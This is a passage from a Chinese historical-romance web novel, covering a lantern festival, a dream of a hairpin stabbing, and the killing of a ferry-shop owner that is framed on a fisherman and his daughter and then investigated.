苏绾以为自己做了一个梦。
巷口的光线渐渐明亮，苏绾听到秦欢和萧染的呼喊声。
“苏绾。”
她深吸一口气，弯腰捡起地上的鱼灯。灯纸已经破损，烛火也已熄灭。
“我在。”她扬声回应，快步走出巷子。
秦欢和萧染看到她，明显松了一口气。
“你怎么跑到这里来了？”秦欢忧心道。
“我走散了。”苏绾勉强笑了笑。
萧染睇着她手中的破灯，“你去捉妖了么？”
“摔了一跤。”苏绾轻描淡写地带过。
秦欢没有多问，握住她的手不放，“我们找个地方修灯，再买些点心。”
苏绾点点头，跟着他们重新汇入人流。
那个戴着面具的男人，那个带着海风气息的吻，像一根荆棘，扎进她的心里。
她忍不住蓦然回首那条幽深的巷子。
“你在看什么？”秦欢顺着她的目光望去，巷子里空无一人。
“没什么。”苏绾收回视线，“我们走吧。”
大约，是她太想他了，他借尸还魂到人间看她一眼。
那边阿喜提着一盏鱼灯，在原地转来转去，目光不时扫向巷子口，焦急得恨不得跺脚。
等了半天，终于看见阿舟从巷子里钻出来，她立刻冲上去，气得小脸通红：“臭阿舟，乱跑什么？害得我满街找你。”
阿舟随手拍了拍袖子，装作若无其事地挠了挠头：“我以为那是一条近路，谁知道走进去，连个鬼影都没有。”
绝口不提巷子里的意外。
阿喜没好气地瞪他一眼，“那帮官老爷脾气大着呢，他们不喜欢你在人多的地方晃来晃去，小心又惹事。”
阿舟随口道：“我本来打算在马车里闷头睡大觉，是你非要拉着我来看灯会。”
阿喜被他噎了一下，心虚地哼了一声，“行啦行啦，别念叨了。我再吃点蜜饯就回去。”
她一边嘟囔着，一边从袖袋里摸出一颗蜜饯塞进嘴里，腮帮含得鼓鼓的，灯影下的小脸红扑扑。
阿舟看着她馋嘴的模样，轻笑着摇了摇头，替她拨正快要歪倒的鱼灯。
一路上阿舟左顾右盼，目光不时在人群中流连，众里寻她千百度。
阿喜察觉到他的异样，狐疑地问：“你在找谁？”
阿舟被她盯得有些心虚，闷着脑袋往前走，假装没听见。
阿喜哪肯罢休，揪住他的袖子，连声逼问：“说！你是不是做了什么亏心事？”
阿舟依旧不吭声，只是加快了脚步。
阿喜气得跳脚，干脆一巴掌拍在他肩头，捶了几拳，恨道：“臭阿舟，鬼鬼祟祟的，最好别被我发现你藏了什么秘密。”
阿舟闷闷地挨了几下，耷拉着脑袋，一副打不还手的样子，惹得阿喜更加狐疑，却又无可奈何。
夜色愈深，灯市依旧热闹非凡，二人的身影在流光溢彩的街巷中穿梭，几乎走遍了整条灯市，直到夜半三更，才匆忙赶回客栈。
守门的晴雷看见两人回来，眼睛都快瞪出绿光。邵云礼早就吩咐过，阿舟的身份绝不可对外声张，以至于晴雷不敢大张旗鼓地出去找人，愣是干着急了大半夜。
他几步冲上前，压低声音道：“爷，以后可不能再乱跑了，属下的魂都快飞了！”
阿喜不满地叉腰瞪他：“你们这些官老爷也忒烦人，这都顺着你们心意上京了，还不许人家沿途逛逛风景？”
她扬起下巴，气鼓鼓地威胁道：“逼急了，我们可就回沙洲去了。”
晴雷扶额无奈道：“行了行了，逛吧逛吧，就当我什么都没说。”
话虽如此，他已经在心里盘算着，明晚说什么也得拉上文竹一起盯着这两尊活祖宗，以免再给自己添乱。
112. 讨债
「皇宫御花园。
夜色深沉如墨，昏黄宫灯映照朱墙金瓦。幽冷晚风穿堂拂过，带着隐约的血腥气息，沿着石径蜿蜒蔓延。
时枫缓步踏入御花园，玄色戎装染着风霜，破损披风猎猎作响。他手里按着腰间紫菁宝剑，眼底燃着孤狼般的怒火。
他回来了。
他与父亲时谦浴血奋战大漠边塞，正要彻底击溃匈奴联盟时，一道伪诏从天而降。朝廷指控时谦勾结外敌，意图谋反，赐三尺白绫，令其自裁。时谦断然抗旨，可敌人暗中策反近侍，终是一碗掺了砒霜的黄粳米饭，毒死了这位三朝元老。
朝廷素来忌惮父亲时谦，唯恐藩王割据一方。他按兵不动，只是想给自己的发小兄弟，留下最后一丝信任。
可惜，现实往往不尽人意。被人逼到死角，时枫自然是杀回京城，当面向首辅大人，兴师问罪。
然而，回京的第一晚，他却避开了所有守卫，悄悄潜入后宫御花园。
这里本该是四季常青之地，如今枯叶遍地，花枝折损，连池中锦鲤都消失不见，只剩一片死寂。
很快，碰到了苏绾。
苏绾伶仃伫立廊下，凤袍曳地，长发披肩，仅绾着一根金簪，额间一点朱砂。灯火微晃，将她映得妖冶诡谲。
听见脚步声，苏绾缓缓回首。
“时将军，你回来了。”唇间醉酒般梦呓，又或是失智般疯痴。
时枫的步子顿住，眸光一瞬不瞬地盯着她。
时隔一年不见，她变了，变得陌生，变得失控，变得……疯狂了。
他不是没听过宫中的那些传言——讲温如初以毒酒弑君，扶持自己与皇后的私生子登基，自封辅国大臣，摄政掌权。
而苏绾则掀起后宫腥风血雨，手段狠绝，翻手覆灭了司礼监，逼得皇后上吊，气得太后吐血而亡。她身上虽无皇后头衔，却已成为无冕之后。
她不该是这样的。
宫灯的光晕映在苏绾的眼底，照不亮她幽深的瞳色。她望着男人破损的披风，忽然轻笑一声，素白指尖勾过肩膀干涸的血痕，沾染了一点点暗红。
“这副模样，真狼狈。”她漫不经心道。
为了见她一面，他总不能大摇大摆趸进皇后寝宫。随手覆灭七八个大内侍卫，对他来说，尚且游刃有余。
“你是来杀温念的？”她轻声问，“还是来杀我的？”
男人沉寂无言。她说对了一半，他回来，还想再看她一眼。
素白指尖缓缓下滑，落在挺实的胸膛，停在他心口的位置，轻轻叩了叩，像是勾起一道无形的枷锁，令他动弹不得。
“你们这些男人，好无趣啊。”声音冷艳得像是一场蛊惑。
她慢条斯理地取下发髻上的金簪，在指间旋了旋，“连自己想要什么，都分不清楚。”
男人喉间溢出一丝苦涩的笑意。他如何分不清自己想要什么？他不能，也无力。错过了，就是错过了。
“真是没用。”她感慨道。
忽然，苏绾眼神一冷，毫无预兆地朝他心口狠狠刺去！
簪尖直直没入血肉，暗红血珠渗出，沾染了凤袍袖口。过程中男人岿然不动，甚至连眉头都未皱一下。
望着被战火雕刻出的冷峻面庞，苏绾手中力道一滞，疑惑道：“你不躲？”
时枫睇着那双溺死人的星眸，声音低哑：“你想杀就杀吧。”
死于她的石榴裙下，他心甘情愿。
苏绾微微偏头，嗤笑道：“吓唬谁？我想要你死，你断然活不了。”
时枫抬手握住了皓腕，苏绾想抽开，发现男人力道如铁。
“苏绾。”他低声唤她的名字，嘴角淌下一道血痕。
“都是我的错。”
倘若他能早点正视自己的内心，早点将她拉出泥淖陷阱……不对，一切都是他的错，是他对她不管不顾，甚至亲手将她推向了深渊。
他，才是导致她疯癫的罪魁祸首。
苏绾仿佛听到了世上最荒唐的笑话，“奴家何德何能，竟能让将军低头认错？”
“是这个世界错了。”她在他耳边低语。
言毕，手腕一转，挣脱男人束缚，簪尖在他心口处狠狠一旋，再猛然拔出，留下一个渗人的血洞，瞬间鲜血喷涌。
时枫只觉心脏被人掏了出来，一跳一跳的，痛彻心扉。他低头瞥了一眼刽子手，女人举着血淋淋的金簪，正肆无忌惮地笑着，笑他的软弱，笑他的执着，也笑他的无可奈何。
可她的笑靥，好美，美不胜收。
夜风骤起，吹散了宫灯的火光，御花园陷入深深的黑暗。」
阿舟睁开眼。
窗棂外阳春白日，透过半开的窗缝洒落进来，浮尘在光晕里轻盈飞舞。
他下意识地抬手按了按胸膛，那道旧伤横亘在心口，随着指腹摩挲，泛起细微的触感。
他阖了阖眼，额角微跳。
不知怎的，距离京城越近，梦境越发诡谲，混乱得让他分不清是记忆，还是臆想。梦中他披坚执锐，马蹄踏碎城关烽火，刀锋染尽敌血。可无论场景如何变换，始终有一位女子存在其中。
她的脸美得不似凡尘之物，偏偏性子乖张得让人牙痒。或而一丝不卦，扮做美体盛宴魅惑他；或而抄起利器，毫不犹豫地往他身上捅；又或皇帝殡天时，被他搂在怀里亲昵，嘴里喊着别的男人名字。
他每每心如刀绞，可偏偏醒来后，那种被凌迟般的疼痛，竟带着几分甘之如饴的快感。他好喜欢她，简直到了为她痴狂的地步。
他疯了吧。
上元节那夜，他的确在徽州灯市撞见了梦中的那位美人。
灯影摇曳，人潮翻涌，她拎着一盏鱼灯从他面前飘然走过，翩若惊鸿，婉若游龙。蓦然回眸瞬间，仿佛兮若轻云之蔽月，飘摇兮若流风之回雪，教人忍不住屏息。
他悄悄尾随她进入深巷，一时情难自已，在烟火映亮的瞬间，覆上了那双唇。软若新雪，微微发凉，带着一点甜。
一瞬间，他沉溺其中不能自拔，等他回过神，她已消失人海。
再无机会相见。
阿舟闭了闭眼，指腹抚过心口旧伤，梦境与现实交错间，他忽然觉得，那道深入骨髓的疤痕，好像从一开始，就是他心甘情愿任她宰割。
可她是谁呢？
他想知道，想再见到她，更想揽她入怀，一亲芳泽。
也许，他是真的疯了。
忽然门外传来吵闹声，让他不得不收拢思绪，调整心态面对。
阿舟出门一看，客栈天井处乱作一团，几名官差正按着李老爹的手臂，一旁的阿喜也被拽住胳膊，动弹不得。
“你们干什么！”阿舟大声斥道。
领头的官差冷冷道：“奉县令大人之命捉拿人犯！颜家渡商铺的颜老七，一个时辰前被人发现死于非命。有目击者称，看到这两人从商铺匆匆逃走，显然就是杀人凶手。”
李老爹老脸涨得通红，拼命呐喊：“没杀人！就是吵嚷了几句，哪知道他就死了。”
阿喜更是急得大叫：“我们跟他要回欠钱，谁要杀人了！”
可官兵哪里听得进去，几人合力将李老爹按倒在地，铁链“哗啦”一声扣住他的手腕。
阿舟脑子“嗡”地一声，快步挡在二人面前，冷声道：“不可能，他们不会杀人。你们是不是弄错了？”
领头官差斜睨他一眼，不耐烦道：“目击者亲眼所见，难道还能冤枉他们不成？颜老七死前在商铺内和这两人起了争执，随后就被发现暴毙门口，除此之外，没有第二个嫌疑人。”
李老爹脸色煞白，刚要辩解，阿喜哭着扑上来：“是我杀的，让我赔命，与阿爹无关。”
李老爹见状，急道：“阿喜，糊涂！”连忙歪着脖子恳求：“人是我杀的，你们抓我一个就够了。”
可官差根本不听他辩解，提着李老爹的衣领，就要拿人。
阿舟攥紧了拳头，怒火中烧，眼看就要揍人行凶。
此时，院中响起一道沉稳的嗓音：“当场捉人，也得讲究证据。”
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>众人循声望去，只见邵云礼不疾不徐地踱步而来，身后跟着晴雷、文竹。沈恪、沈枝意等人也不知何时现身，目光各异地落在院中混乱的场面。
沈恪一行人途经黄河泺口渡，准备循例搭乘官渡过河。邵云礼欲借机查探济南府的动静，探一探秦欢的底细，听闻殷潜的车马已于数日前渡河北上，正巧与秦欢和苏绾擦肩而过。机不可失，他索性拉着晴雷文竹乔装成外地商人，沿街搭讪百姓，打探消息。
另一边，没了晴雷等人的束缚，阿喜本想趁机溜出去逛街，哪知刚踏出门槛，就被李老爹一把拽住胳膊。
“颜家渡那个山羊胡，欠了咱们一笔劣质渔具的钱，”李老爹压低嗓音，眼底透着精光，“今儿个不如上门讨债去。”
阿喜眼睛一亮，摩拳擦掌：“等我叫上阿舟。”
结果被李老爹一口回绝：“官老爷千叮咛万嘱咐，不让阿舟在人前露面，咱可不能给人添乱。再说，光天化日之下，就咱父女俩去，看他敢抵赖不成。”
阿喜撇撇嘴，虽有些不满，到底还是点了头。
黄河泺口渡，江风猎猎，码头上行人熙攘，商贩吆喝，船夫们肩挑货物，往来于渡口之间。
“你个黑心鬼，竟敢坑老实人。”阿喜叉着腰，杏眼圆睁，指着铺子门口破口大骂，“卖的渔网又烂又破，害阿爹白忙活一场。今天你要是不赔双倍银子，我就砸了你这破铺子！”
一旁李老爹脸色铁青，沉声道：“你是拿渔民当冤大头吗？天底下没有这个道理。”
山羊胡翘着腿，坐在柜台后面剔牙，他冷笑一声，将牙签随手往地上一掷：“渔网卖出去就不属于我，打不到鱼是你们没本事，怪得了谁？”
阿喜气得不行，撸起袖子冲进店内，“岂有此理，找打。”
仗着自己是撑橹打渔的好手，平日里阿喜并不惧怕同人争斗，沙洲哪回搞事情，数她喊得最响亮。
山羊胡眼神一变，拍着柜台喝道：“反了你们了！这里是泺口渡，不是沙洲渔村，真当老子治不了你们？”
“我偏不信了，这天底下就没有王法。”阿喜呛声道。
山羊胡眯起眼睛盯着他们，嗤笑道：“王法？在颜家渡，老子就是王法。”
李老爹皱起眉头，“当我老头子吓大的？你个小小撑船渡河的，还敢自称王法，笑死人了。”
哪知山羊胡阴狠道：“哼，你们别不信！知道半年前那个倒霉的将军是怎么死的吗？”
李老爹心头一跳，隐约感觉有哪里不对：“不是说朝廷赐死的吗？”
“呸，朝廷赐死的……”山羊胡咧开嘴，露出一口黄牙，眼里透着得意的狠劲，“是老子亲手送他上路的。”
此言一出，李老爹和阿喜皆是一震。
这半年来，阿舟一直噩梦连连，记忆混乱，而他出事的时间，正好与这位将军被害的时间对上。
阿喜低声对李老爹说道：“阿爹，是他、他杀的阿舟。”
李老爹翻检过阿舟的衣物，自然知晓阿舟就是那位落水将军。
此人不善。
山羊胡见两人被他唬住，不禁有些得意，更加肆无忌惮道：“老子连大将军都不放在眼里，你们俩杂碎，还想跟老子斗？想瞎了你们的心！快点滚出去，别脏了我的铺子，打扰我做生意。”
说着，两手一挥，做轰人出门状。
眼见索赔无望，李老爹怒极，扑上去掐住山羊胡的脖子，“你个杀千刀的，竟敢害阿舟！”
阿喜顺手抓起门口的木棍，狠狠朝山羊胡的后脑勺砸去。
“梆！”山羊胡闷哼一声，双眼翻白，整个人瘫软在地，动也不动。
李老爹愣住了，阿喜也愣住了。
二人大气不敢出，盯着地上的山羊胡，李老爹颤着手探了探他的鼻息，顿时脸色惨白：“没、没气了……”
阿喜心脏狂跳，慌忙扔掉木棍，拉着李老爹：“快逃。”
父女二人仓皇逃离现场，留下地上躺倒的山羊胡。临走前，阿喜细心地阖上商铺大门。
113. 真凶
这日，沈恪一行人途经黄河泺口渡，准备循例搭乘官渡过河。
从苏州到北京，本可沿海直行北上，或者走海路。但不知怎么搞的，沈恪竟然选择向西行了一段距离，然后走中路再北上，由此途径徽州，并耽搁了一段时间。
邵云礼猜测，沈恪多半是想拖延时间，以遮掩阿舟行踪。然而一路走下来，并没有遇见什么敌人，也无任何事情发生。纯粹是沈恪的老毛病犯了，一味地采取迂回蜿蜒战术，不让敌人看穿自己的路线及老底。
等到了黄河渡口，一打听，得知殷潜的车马已于日前渡河北上。正好，邵云礼欲查访济南府周边的动静，探一探秦欢的底细，他索性拉着晴雷文竹乔装成外地商人，沿街搭讪百姓，打探消息。
另一边，没了晴雷等人的束缚，阿喜本想趁机溜出去逛街，哪知前脚刚踏出门槛，就被李老爹拽住了胳膊。
“还记得颜家渡那个山羊胡吗？欠了咱们一笔劣质渔具的钱款未还。”李老爹压低嗓音，眼底透着精光，“不如上门讨债去，省得日后再烦扰跑腿。”
闻听有钱可赚，阿喜眼睛一亮，摩拳擦掌：“待我叫上阿舟，给咱们撑门面。”
结果被李老爹一口回绝：“那帮官老爷千叮咛万嘱咐，不让阿舟在人前露面，咱可不能给人添乱。再说，光天化日之下，看他敢抵赖不成。”
上次在徽州，阿喜强拉着阿舟逛灯市，回来迟了些，被晴雷逮住了狠狠训了一顿。后半路程，阿喜再不敢惹是生非，她一想是这么回事，小脑袋瓜使劲点了点。
黄河泺口渡，江风猎猎，码头上行人熙攘，商贩吆喝，船夫们肩挑货物，往来于渡口之间。
李老爹四下环顾，故意当着邻里街坊面，大声道：“咱也不是无凭无据要讹诈你。”说着，掏出皱巴巴的票据，上面盖了“颜家渡”印章，“去年四月五张渔网十把鱼叉，白纸黑字写着‘仨月包换’。”
“你个黑心鬼，竟敢坑老实人。”阿喜杏眼圆睁，指着商铺招牌訾骂：“卖的渔网又烂又破，叉头碰着石头就卷刃，害得我和阿爹白忙活一场。今儿不赔双倍银钱，姑奶奶掀了你这黑店！”
见有人登门闹事，铺子里的伙计见惯不惯，这会子都退出门去。
山羊胡翘着腿，坐在柜台后面慢条斯理剔牙，斜眼睨着父女俩，忽然将牙签弹向阿喜眉心，“渔网卖出去就不属于我，打不到鱼是你们自己没本事，怪得了谁？”
沾着唾沫星子的槐木刺扎进皮肉，阿喜眼底燃起怒火，抄起门边竹竿横扫货架，腌鱼干噼里啪啦砸落，“岂有此理，竟敢欺负渔民，找打。”
仗着自己是撑橹叉鱼的好手，平日里阿喜并不惧怕同人争斗，沙洲哪回搞事情，数她喊得最响亮。
对方颐指气使，山羊胡眼神一变，拍着柜台，站起身喝道：“这里是泺口渡，不是沙洲渔村，敢在老子面前大呼小叫，反了你们了！”
“欠了钱还这么嚣张，这天底下有没有王法？”李老爹呛声道。
“王法？”山羊胡眯起眼睛，嗤笑一声：“在泺口，老子就是王法。”
阿喜撇撇嘴，“你个小小撑船渡河的夯货，还敢自称王法，笑死人了。”
哪知山羊胡阴狠道：“哼，你们别不信！知道半年前那个倒霉的将军，怎么死的吗？”
对方突然提起这茬，令李老爹心头一跳，“不是说朝廷赐死的吗？”
“呸，朝廷赐死的……”山羊胡咧开嘴，目露凶光：“是老子亲手送他上路的。”
李老爹和阿喜皆是一震。
阿喜对李老爹低声道：“阿爹，是他，他杀的阿舟。”
李老爹翻检过阿舟的衣物，早就知晓阿舟的身份非同寻常。仔细算一算，阿舟出事的时间，正好与这位将军被害的时间对上。
此人不善。
山羊胡见两人被他唬住，不禁有些得意忘形，更加肆无忌惮道：“老子连大将军都不放在眼里，你们两个杂碎，还想跟老子斗？想瞎了你们的心！快点滚出去，别脏了我的铺子，打扰我做生意。”
说着，两手一挥，做轰人出门状。
眼见索赔欠款无望，再加上对方害人的狠绝，令李老爹怒火中烧。他蹭得跳上柜台，老树根似的手掐住山羊胡的脖子，“你个杀千刀的，竟敢害阿舟！”
山羊胡抓紧对方两手，用力向自己方向一拖，竟将李老爹拉下柜台，两人缠斗翻滚起来。
“阿爹，我来帮你！”阿喜抄着竹竿绕进柜台，愣头愣脑劈向对方膝窝。
结果被山羊胡一脚踢开，紧接着，一个“鲤鱼打挺”翻身跃起。粗壮手肘环绕着李老爹的脖颈，勒得他几乎要晕厥过去。
木屑纷飞间，阿喜摸到柜台下的铁秤砣，抡圆了砸向山羊胡后脑。
“梆！”山羊胡闷哼一声，双眼翻白，整个人瘫软在地，动也不动，血珠溅上“童叟无欺”的匾额。
李老爹愣住了，阿喜也愣住了。
二人大气不敢出，李老爹颤抖的手探向他的鼻息，顿时心灰意冷，“没气了。”
阿喜慌忙扔掉秤砣，“快逃。”
父女二人仓皇逃离现场，留下躺倒的山羊胡。临走前，阿喜细心地阖上商铺大门。
******
“是我杀了人！”
阿喜的声音在冷冽空气中炸开，震得天地仿佛都静止了一瞬。
众人齐刷刷地望向她，连官差们的动作都僵在半空，街道行人纷纷驻足，压低声音交头接耳，目光透着好奇与惶恐。
沈恪立于阶前，披风在狂风中翻卷，目光冷然如铁：“既然认罪，那便按律办事。来人，将两名嫌犯拿下。”
官差得令，立刻扑上前去，扣住李老爹和阿喜。
阿喜惊慌挣扎，拼命想挡在父亲身前，可她瘦弱的身躯哪里敌得过几名大汉？李老爹被按倒在地，冰冷的铁链锁住手腕，他奋力挣扎，嗓音嘶哑：“求官老爷高抬贵手，放过阿喜。人是我杀的，与她无关啊！”
阿喜猛摇着头，泪水滚落，“不，是我做的！阿爹，你别乱认。”
沈枝意静静望着这场混乱，忽而迈步上前，拽住沈恪的衣袖，“爹爹，事情还没弄清楚，他们定有苦衷。”
沈恪沉寂无言。
沈枝意仰头望着父亲，不住恳求：“阿喜不过是个小姑娘，真要下了牢狱，哪里还有活路？”
寒风掀起花白发须，沈恪缓缓开口：“人命关天，岂能徇私？”
老将军态度坚定，沈枝意咬着唇，却也无计可施。
忽然，阿舟上前挡在阿喜身前，声音铿锵：“让我来偿命。”
众人皆惊，连风都像是顿了一瞬。
沈恪目光一沉：“你说什么？”
“颜老七欺辱百姓，鱼肉乡里，阿喜杀他，不算错。”阿舟深吸一口气，“既然律法不容她，那这条命，我替她担。”
沈枝意几乎不敢相信自己的耳朵，“阿舟哥哥，你疯了吗？”
阿喜也拼命喊道：“不要，我不要你替我死。”
李老爹眼睛发直，嘴里喃喃：“不行的，这样不行的。”
沈恪却不为所动，吐出两个字：“拿人。”
官差们闻令拔刀，锋刃在日光下泛着冷光。
电光火石之际，沈枝意退后一步，兀自拔下发髻簪子，反手抵在脖颈，朝着沈恪跪下，“爹爹，卿卿愿以性命担保，请爹爹收回成命。”
言毕，她手腕一紧，簪尖刺破细嫩的肌肤，渗出一丝血痕。
“卿卿，胡闹！”
宝贝女儿竟然以性命相要挟，担保毫无关系的两位渔民，令沈恪颇为震撼，一时竟忘了出手阻拦。
忽然凌空飞来一掌，骤然劈掉手里簪子，拉扯小小身板向一边栽歪。
众人定睛望去，阿舟右手揽住沈枝意，漆黑的凤眸盯着她，一言不发。
沈枝意喘息未定，侧眸瞥了一眼身后的男人，不禁脸颊泛红，“阿舟哥哥。”
老将军痛心疾首，跺脚道：“你是想让爹爹痛死吗？”
缓和了半晌，沈恪垂丧道：“罢了，念在阿喜年幼无知，且颜老七鱼肉乡民，这桩案子，就此了结。”
老将军发了话，官差纷纷收刀。
此时，院中响起一道沉稳的嗓音：“好精彩的一出戏！”
众人循声望去，只见大理寺卿邵云礼不疾不徐地踱步而来，身后跟着晴雷文竹，并其他几位官差。
邵云礼带人寻访济南府街巷，从百姓口中渐渐收罗到了一些有价值的线索。
讲的是去年夏天，黄河渡口将军落水事件，与颜家渡有关联。邵云礼见话已入港，欲再深问几句，结果百姓讳莫如深，不愿再讲。
他只好亲自去颜家渡商铺查探一番，刚到了现场，就发现一桩命案。
商铺掌柜颜老七被人杀死，尸体横陈杂货铺门口。左邻右舍皆称，早些时候，曾看到一对渔民同颜老七争吵。
大理寺卿立即开展现场验尸，结果发现事情并非那么简单。他蹲下身，仔细翻检了一番，忽然在腰间束带发现了一点红色印记，像是被什么东西蹭过一样。
他拿出帕子擦拭，细细端详，随即勾唇一笑：“有意思。”
邵云礼不得不重新整理思绪，跟随官差脚步去捉拿嫌犯。
结果来到了李老爹的客栈。
“下官来迟，险些错过压轴大戏。”邵云礼逡巡四周，目光停在沈恪身上，拱手道：“沈大人，此案尚未厘清，不知可否让下官查上一查？”
沈恪见邵云礼到来，神
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情有些不自然，“既然贤侄来了，那便查个明白。”
岂料，邵云礼语出惊人：“这事，并非阿喜做的。”
“验尸结果表明，死者真正的死因，是被人以极强掌力震碎五脏，伪装成砸死的假象。”
“能一掌震碎五脏，绝非是寻常渔家女子。阿喜虽力气不小，可颜老七也是撑船的一把好手，又怎会被她随便一秤砣砸死？”
“所以，凶手另有其人。”
说着，他漫不经心地掸了掸袖，“此人力气极大，至少八尺男儿，才能以内力深厚的一掌，拍死了同样壮硕的死者。”
真相大白。
沈恪迟疑了半晌，对官兵摆了摆手，“将这对父女放了。”
官兵领命退下。
阿喜对沈枝意千恩万谢，小脸洋溢着感激的笑意，“沈小姐真是我的救命恩人啊。”
阿喜父女双双心中大赞沈大小姐慈悲为怀，病入膏肓之际，竟还舍命搭救别人，真真活菩萨下凡。
沈枝意瞥了一眼阿舟，羞涩道：“我也没做什么。天理昭昭，如揭日月。”
送走在场所有人，邵云礼抚平官服褶皱，有意无意道：“下官记得，沈大人麾下正有几名力士跟随。”
沈恪脸色一沉。
邵云礼察言观色，抬手扬了扬一块染着红色丝线的束带，“这抹红色的痕迹，来源于苏州特产的孔雀锦。京中贵妇偶尔使用，寻常百姓见都未曾见过。”
那缕丝线在阳光下流光溢彩，“苏州天香阁去年只出十匹孔雀锦，一半进了沈府。”
沈恪眼神晦暗不明，“有些秘密，该永远埋在黄河底。”
睇着沈恪离去的背影，邵云礼吁了口气，袖角拭了拭额间湿汗。
所谓“红丝”，“孔雀锦”，只不过是邵云礼看见沈枝意的衣着后，即兴创作的想法。他从山羊胡尸身上提取到的衣物碎料，根本无法辨认出自于谁，说是隔壁大婶的红褂子，也有可能。
真正让邵云礼确定凶手是谁的，是沈恪的反应——慌乱得没有道理，完全不符合久经沙场的老将军性格。
沈恪铁了心庇护自己的宝贝女儿，此案只能不了了之。可恨陷害时枫的凶手颜老七，就这么不明不白的挂了，真相永远沉没于黄河底。
若时光倒回一个时辰之前，沈枝意又是如何“替”阿喜喊冤的？
她一早发现阿喜父女不在，心知这对莽撞的乡下人又闯了祸，怒从心头起，立刻带着侍卫四处寻人。很快，她在颜家渡的商铺发现了李老爹和阿喜的身影。
那时，阿喜与李老爹正与商铺掌柜颜老七争吵，言辞激烈。沈枝意站在门外，饶有兴致地看着这一幕，并未急着现身。
片刻后，李老爹上前与山羊胡缠斗，阿喜忍无可忍，操起身旁的秤砣狠狠砸向山羊胡。那力道的确不小，可毕竟还是个小姑娘，山羊胡只是被砸晕了过去，尚有微弱的气息。
待阿喜父女匆匆逃离，她才慢悠悠地走进商铺，见山羊胡倒在地上，嘴角带血，便吩咐手下：“泼点茶水，让他醒醒。”
侍卫依言照做，热茶兜头泼下，山羊胡浑身一激灵，颤巍巍地睁开眼，见眼前竟是个美貌非凡的女子，刚要说话，沈枝意淡淡抬眸。
身侧力士心领神会，抬掌对准山羊胡的天灵盖，重重拍下。
七窍流血，当场毙命。
沈枝意蹲在地上注视尸首，眸中没有丝毫波澜。她抬手掸了掸袖口，似是嫌地上太脏，轻声吩咐：“收拾一下。”
沈恪得知此事，气得白胡子直抖，却也拿她毫无办法，“你这丫头，这般胡闹……”
沈枝意不以为然，“不过是顺水推舟，帮阿喜收拾个烂摊子罢了，她还得感谢我呢，”
“再说了，”她眼波微转，“这件事，未尝不能拿来做点别的文章。”
“枫哥哥会感激我的。”佳人笑意更深。
于是，便有了沈枝意在沈恪面前，苦苦为阿喜求情的戏码——她哭得泪眼婆娑，嘴里满是“阿喜是无辜的”，“阿喜是个姑娘，不能坐牢”的字句，仿佛真心实意地为阿喜鸣不平。
她一心想着给时枫送个人情，以此拿捏他控制他，不料搬石头砸了自己的脚。
世人皆道沈枝意是沈恪掌心的明珠，娇贵、聪慧、心善，可谁又知，她这份“心善”底下，藏着怎样一副心肠。
阿喜不明白，阿舟也不懂。
阿喜撅着小嘴，“臭阿舟，随随便便就给人偿命，让人卖了都不知道。”
阿舟挠挠头，“不然呢？总不能眼睁睁看着你掉脑袋啊。”
阿喜正色道：“一命偿一命，这笔买卖忒不划算。”
“你应该攒足了劲头，去反杀那害我又害你的仇人。”
反杀仇人吗？
114. 难料
二月倒春寒，雨雪初霁，驿站窗外枯枝滴落着化雪的水珠，声音清脆如玉碎。
秦欢坐在书案前，手里握着一截削得光滑的桃木。膝旁的炭炉燃着火苗，案上零散铺着小刀、砂纸、蜡布等物，以及一碗漆黑的清油。
他拈起小刀，扣住桃木，开始慢慢雕琢。刀刃划过木枝，发出细微而轻的沙沙声。
刚踏入顺天府辖境，便收到济南送来的急报——颜家渡的颜老七，在自家铺子里被人击毙，凶手逃之夭夭。知府暗中查访后，竟发现此案背后牵涉福建都指挥使沈恪，而大理寺卿邵云礼亲自出面，洗脱了一对渔民父女的嫌疑。
秦欢咬了咬牙。
从杭州出发以后，秦欢先是拉着殷潜向西拐去徽州老家，与其商议由殷潜出面请旨，将贵妃太子移到徽州休养——青州距离京城过近，终非安全之地，唯有避开风暴中心，方能确保母子平安。待贵妃太子安然离京，再无后顾之忧，下一步棋才能稳稳落子，同内阁、后宫、朝堂三方角力，伺机而动
殷潜一看，局势严峻紧迫，自己手中的筹码殆尽，单凭一己之力，加上一个未入仕的郎中，难以扭转乾坤。可事已至此，退无可退，殷潜只得将苏绾的身世和盘托出。
秦欢自是吃惊不小，前世可没有任何人提起过这一茬，连片鳞半爪的消息都未曾听闻。然而此乃天赐良机，又逢小皇子并非皇帝亲生骨血，凭这两颗棋子落盘，可令皇帝收回成命，断绝废储立新的念头。
一着活棋，盘活全局。
若再得沈恪兵权相助，胜算又能添上几成。
可沈恪那边，却另有风云暗涌。
派出去的探子回报，大理寺卿邵云礼跟随沈恪一行北上。邵云礼与沈恪素无交情，反倒与时枫曾为同袍。又听说那位“渔民女婿”生得高大英挺，眉眼间竟与前京卫指挥使极为相似。
秦欢的心头，沉沉落下巨石。
哪里还需要猜测？时枫未死，活得好好的，且已悄然回局。
他以为自己不留退路，谁曾想对手绕后反杀，直逼咽喉。
下一步棋，该如何落子？是按兵不动，静观其变？还是趁局势尚未彻底逆转，合纵连横，先发制人？
毕竟，他与时枫，有着一个共同的敌人——温如初。
秦欢雕刻的手法极稳，先削去多余枝节，将簪身削得修长光润，随后在簪首勾勒出桃花的雏形。簪尾稍稍一弯，犹如和风拂过，十分灵动。
偶尔将簪子举到光下端详，见线条合意，便用砂纸一点一点打磨，使其更加细腻光滑。
待纹理打磨细致，再以毛笔蘸清油，涂抹簪身。清油渗入桃木，泛出莹润的光泽。
最后，取金线缠绕簪首桃花底部，恰如点缀的露珠，低调不显奢华。
簪成。
他将桃木簪放在掌心，摩挲簪身的温润。
“倒是件称心的生辰贺礼。”
二月廿二，是她的生辰，他从前就知道。
上一世某年，雪消春浅，东风拂过红墙碧瓦，带着几分料峭的寒意。
冷宫里，秦欢站在炭盆旁，挑了挑火候，炭灰细细扬起。他端起一碗煮好的寿面，汤色清亮，面条绵软，碗里浮着一颗煎得金黄的荷包蛋，拎着袖子，端进内殿。
苏绾靠在榻上，半披着绯色锦被，听见脚步声，才缓缓抬头看他。
秦欢将碗搁在食案上，推到她手边：“温夫人，今日是你的生辰，能否赏光吃一碗长寿面？”
苏绾盯着那碗面，半晌未动，忽然笑了下：“你怎知道？”
秦欢挑眉：“我可是大夫。”
苏绾怔怔望着他，指尖抚上平坦的小腹，语气温柔而飘渺：“这位秦大夫，你可知，我怀了你的孩子？”
秦欢握着瓷勺的手顿了顿，垂下眼睑，半分惊讶也无。
